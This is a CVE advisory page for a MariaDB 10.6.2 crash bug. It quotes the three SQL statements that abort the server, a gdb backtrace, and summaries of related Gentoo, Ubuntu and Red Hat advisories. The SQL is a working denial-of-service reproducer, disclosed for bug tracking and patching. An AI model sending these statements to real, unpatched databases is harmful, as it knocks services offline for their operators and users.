Headline
CVE-2022-27379: [MDEV-26353] MariaDB server crash in Arg_comparator::compare_real_fixed
An issue in the component Arg_comparator::compare_real_fixed of MariaDB Server v10.6.2 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.
CREATE TEMPORARY TABLE v0 ( v4 SMALLINT , v3 TINYINT , v2 NCHAR BINARY GENERATED ALWAYS AS ( NULL NOT IN ( ‘x’ SOUNDS LIKE UTC_TIME ( ) IS NULL IS NULL IS FALSE ) IS NOT FALSE ) , v1 INT ) ;
SELECT CONVERT ( CHAR ( ‘x’ IS FALSE ) * DEFAULT ( v2 ) * ‘x’ * 62721821.000000 , DATETIME ) REGEXP v1 ‘x’ FROM v0 ;
INSERT IGNORE INTO v0 VALUES ( 78470821.000000 , ‘x’ , -32768 , v1 IN ( ‘x’ , FALSE NOT REGEXP v3 IS FALSE ) ) ;
Core was generated by `/home/supersix/fuzz/security/MariaDB/install_debug/bin/mysqld --defaults-file=/’.
Program terminated with signal SIGABRT, Aborted.
#0 __pthread_kill (threadid=<optimized out>, signo=signo@entry=0x6)
at ../sysdeps/unix/sysv/linux/pthread\_kill.c:56
56 …/sysdeps/unix/sysv/linux/pthread_kill.c: No such file or directory.
[Current thread is 1 (Thread 0x7f8010296700 (LWP 1431325))]
gdb-peda$ bt
#0 __pthread_kill (threadid=<optimized out>, signo=signo@entry=0x6)
at ../sysdeps/unix/sysv/linux/pthread\_kill.c:56
#1 0x000055ceeec1e94f in my_write_core (sig=sig@entry=0x6)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/mysys/stacktrace.c:424
#2 0x000055ceee729d60 in handle_fatal_signal (sig=0x6)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/signal\_handler.cc:344
#3 <signal handler called>
#4 __GI_raise (sig=sig@entry=0x6) at …/sysdeps/unix/sysv/linux/raise.c:50
#5 0x00007f8010d68859 in __GI_abort () at abort.c:79
#6 0x00007f801113f951 in ?? () from /lib/x86_64-linux-gnu/libstdc++.so.6
#7 0x00007f801114b47c in ?? () from /lib/x86_64-linux-gnu/libstdc++.so.6
#8 0x00007f801114b4e7 in std::terminate() () from /lib/x86_64-linux-gnu/libstdc++.so.6
#9 0x00007f801114c245 in __cxa_pure_virtual () from /lib/x86_64-linux-gnu/libstdc++.so.6
#10 0x000055ceee75d6ef in Arg_comparator::compare_real_fixed (this=0x7f7f88115bf0)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:897
#11 0x000055ceee76b464 in Arg_comparator::compare (this=0x7f7f88115bf0)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.h:103
#12 Item_func_ne::val_int (this=0x7f7f88115b40)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:1788
#13 0x000055ceee67b604 in Type_handler_int_result::Item_val_bool (this=<optimized out>,
item=<optimized out>) at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_type.cc:5085
#14 0x000055ceee75de10 in Item_func_truth::val_bool (this=0x7f7f88115dc0)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:1165
#15 0x000055ceee75de81 in Item_func_truth::val_int (this=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:1188
#16 0x000055ceee74f443 in Item::save_int_in_field (this=0x7f7f88115dc0, field=0x7f7f8801ac90,
no\_conversions=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item.cc:6700
#17 0x000055ceee7412a7 in Item::save_in_field (this=0x7f7f88115dc0, field=0x7f7f8801ac90,
no\_conversions=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item.cc:6710
#18 0x000055ceee5f87a0 in TABLE::update_virtual_fields (this=this@entry=0x7f7f8801a698,
h=<optimized out>, update\_mode=update\_mode@entry=VCOL\_UPDATE\_FOR\_WRITE)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/table.cc:8718
#19 0x000055ceee4ba3a5 in fill_record (thd=thd@entry=0x7f7f88000c58,
table=table@entry=0x7f7f8801a698, ptr=0x7f7f8801aaf0, ptr@entry=0x7f7f8801aac8, values=...,
ignore\_errors=ignore\_errors@entry=0x0, use\_value=use\_value@entry=0x0)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_base.cc:8845
#20 0x000055ceee4ba444 in fill_record_n_invoke_before_triggers (thd=thd@entry=0x7f7f88000c58,
table=table@entry=0x7f7f8801a698, ptr=0x7f7f8801aac8, values=...,
ignore\_errors=ignore\_errors@entry=0x0, event=event@entry=TRG\_EVENT\_INSERT)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_base.cc:8888
#21 0x000055ceee4e6af6 in mysql_insert (thd=thd@entry=0x7f7f88000c58, table_list=<optimized out>,
fields=..., values\_list=..., update\_fields=..., update\_values=..., duplic=<optimized out>,
ignore=<optimized out>, result=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_insert.cc:1047
#22 0x000055ceee5204e7 in mysql_execute_command (thd=0x7f7f88000c58,
is\_called\_from\_prepared\_stmt=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:4568
#23 0x000055ceee510287 in mysql_parse (thd=0x7f7f88000c58, rawbuf=<optimized out>,
length=<optimized out>, parser\_state=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:8028
#24 0x000055ceee51c285 in dispatch_command (command=COM_QUERY, thd=0x7f7f88000c58,
packet=<optimized out>, packet\_length=<optimized out>, blocking=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_class.h:1340
#25 0x000055ceee51e1a8 in do_command (thd=0x7f7f88000c58, blocking=blocking@entry=0x1)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:1406
#26 0x000055ceee624317 in do_handle_one_connection (connect=<optimized out>, put_in_cache=0x1)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1410
#27 0x000055ceee62467d in handle_one_connection (arg=arg@entry=0x55cef0328838)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1312
#28 0x000055ceee96097d in pfs_spawn_thread (arg=0x55cef06008d8)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/storage/perfschema/pfs.cc:2201
#29 0x00007f8011291609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#30 0x00007f8010e65293 in clone () at …/sysdeps/unix/sysv/linux/x86_64/clone.S:95
Related news
Gentoo Linux Security Advisory 202405-25 - Multiple vulnerabilities have been discovered in MariaDB, the worst fo which can lead to arbitrary execution of code. Versions greater than or equal to 10.11.3:10.11 are affected.
Ubuntu Security Notice 5739-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.37 in Ubuntu 20.04 LTS and to 10.6.11 in Ubuntu 22.04 LTS and Ubuntu 22.10. In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.
Red Hat Security Advisory 2022-6443-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for the mariadb:10.3 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...
Red Hat Security Advisory 2022-6306-01 - MariaDB is a multi-user, multi-threaded SQL database server. For all practical purposes, MariaDB is binary-compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for rh-mariadb103-galera and rh-mariadb103-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...
An update for galera, mariadb, and mysql-selinux is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via cert...
An update for the mariadb:10.5 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...
An update for rh-mariadb105-galera and rh-mariadb105-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...
MariaDB CONNECT Storage Engine Heap-based Buffer Overflow Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of MariaDB. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of SQL queries. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the service account. Was ZDI-CAN-16190.